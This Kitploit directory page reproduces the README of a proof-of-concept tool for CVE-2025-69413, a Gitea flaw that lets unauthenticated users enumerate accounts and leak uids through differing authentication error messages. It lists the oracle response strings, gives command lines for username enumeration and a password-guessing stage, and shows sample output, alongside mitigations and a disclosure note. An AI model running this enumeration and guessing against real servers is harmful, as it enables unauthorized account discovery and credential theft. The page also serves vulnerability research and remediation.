Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-69413-PoC — CVE-2025-69413 — Gitea API user enumeration PoC via auth error differentiation | Kitploit
ツール/GitHubGitHub/fuad00/cve-2025-69413-poc
Password AttacksVulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration TestingAuthenticationAPI Security
GitHubfuad00/cve-2025-69413-poc

CVE-2025-69413-PoC

CVE-2025-69413 — Gitea API user enumeration PoC via auth error differentiation

リポジトリを見る
2026年10月21日未レビュー
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2025-69413-PoC

Gitea user enumeration via differential API authentication responses.

⚠️ Disclaimer This project is published for educational and research purposes only. Use it solely against systems you are explicitly authorized to test (your own lab, a bug-bounty program, or with written permission from the owner). The authors accept no liability for any misuse, damage, or violation of law resulting from use of this code.


The vulnerability (CVE-2025-69413)

Gitea's apiAuth middleware (routers/api/v1/api.go) handled Basic-authentication failures by passing a detailed error message straight into the HTTP response. Because the payload differs between the user-does-not-exist case and the wrong-password case, an unauthenticated attacker can turn any /api/v1/* endpoint that performs Basic auth into a username-existence oracle — and even recover the internal uid of existing accounts.

The fix replaces the verbose responses with a generic static message ("invalid username or password") in both apiAuth and webAuth.

Observed response signatures

Response body (JSON)Meaning
{"message":"user does not exist [uid: 0, name: <u>, keyid: 0]", ...}username is not registered
{"message":"user's password is invalid [uid: N, name: <u>]", ...}username exists, leaked uid: N, password guess was wrong
{"message":"Email address does not exist [email: <e>]", ...}separate oracle branch for e-mail style principals

An additional wrinkle worth documenting: the e-mail path produces its own distinctive message, giving a third classifiable answer.

What this PoC does

  1. Stage 1 — user enumeration. Sends GET /api/v1/user with <candidate>:<dummy-password> and classifies the JSON response.
  2. Stage 2 — optional confirmation. For every confirmed user, tries a small wordlist; a correct password flips the answer to HTTP 200 and prints valid credentials found during testing.

Requirements

pip install -r requirements.txt     # requests

Python 3.9+.

Usage

Enumerate the built-in default list:

python3 exploit.py https://gitea.example.com

Enumerate a custom user list:

python3 exploit.py https://gitea.example.com -U users.txt

Probe one specific account:

python3 exploit.py https://gitea.example.com -u admin

Add a password-confirmation stage:

python3 exploit.py https://gitea.example.com -U users.txt -P passwords.txt

Full options:

positional:
  host                    base URL, e.g. https://gitea.example.com

optional:
  -U, --users-file        usernames file (one per line)
  -P, --passwords-file    candidate passwords file (stage 2)
  -u, --single-user       probe a single username
  --api-path              endpoint (default /api/v1/user)
  -t, --threads           parallel workers, default 4
  --delay                 per-thread delay between requests, seconds
  --proxy                 optional http(s) proxy
  --verify-tls            verify TLS certs (off by default for lab setups)

Be considerate: keep threads low (-t 4) and add delay when testing production systems you have permission to assess.

Example output

[*] Target: https://gitea.example.com/api/v1/user
[*] Probing 6 username(s)...
  [ ] admin                   NOT_FOUND      uid=       http=401
  [+] devops-admin            EXISTS         uid=1      http=401
  [~] [email protected]      EMAIL_UNKNOWN             http=401

Mitigations / remediation checklist

  • Upgrade Gitea to a release containing the generic-error patch.
  • As a workaround, restrict /api/v1/* at the reverse-proxy level and/or enforce rate limiting + fail2ban on repeated 401s.
  • Monitor logs for bursts of distinct usernames against a single endpoint — the attack produces exactly that pattern.

Responsible disclosure note

If you discover this behavior on a third-party instance, report it to their security contact rather than exploiting it beyond verification. Enumeration of real accounts may violate terms of service and local law where performed without authorization.

License

MIT

ツールをダウンロード

関連ツール

  • hashcat

    世界最速かつ最も先進的なパスワード復元ユーティリティ

  • john

    John the Ripper jumbo - 高度なオフラインパスワードクラッカーです。数百種類のハッシュおよび暗号タイプをサポートし、多くのオペレーティングシステム、CPU、GPU、さらには一部のFPGA上で動作します。

  • thc-hydra

    hydra

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    不正なGSMセルを展開してSMSを傍受し、メッセージを注入し、モバイル端末を追跡するIMSI Catcherプラットフォーム

    739
  • 3

    Callisto

    jetp1ane/callisto

    Ghidraを介して実行可能ファイルを逆コンパイルし、Semgrepで擬似Cコードをスキャンし、GPT-3.5-Turboを使用して検出結果を検証することで誤検知を低減する、自動化されたバイナリ脆弱性解析ツール。

    585
  • 4

    opencti

    opencti-platform/opencti

    オープンサイバー脅威インテリジェンスプラットフォーム

    550
  • 5

    DFRoot

    a2333c/dfroot

    Samsung Galaxy S25 Ultra (SM-S938B) 向けの Android root ツール。DirtyFrag CVE-2026-43284 と CVE-2026-43499 を連鎖させ、KernelSU 経由で起動時に自動的に root を取得します。

    414
  • 6

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    409

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →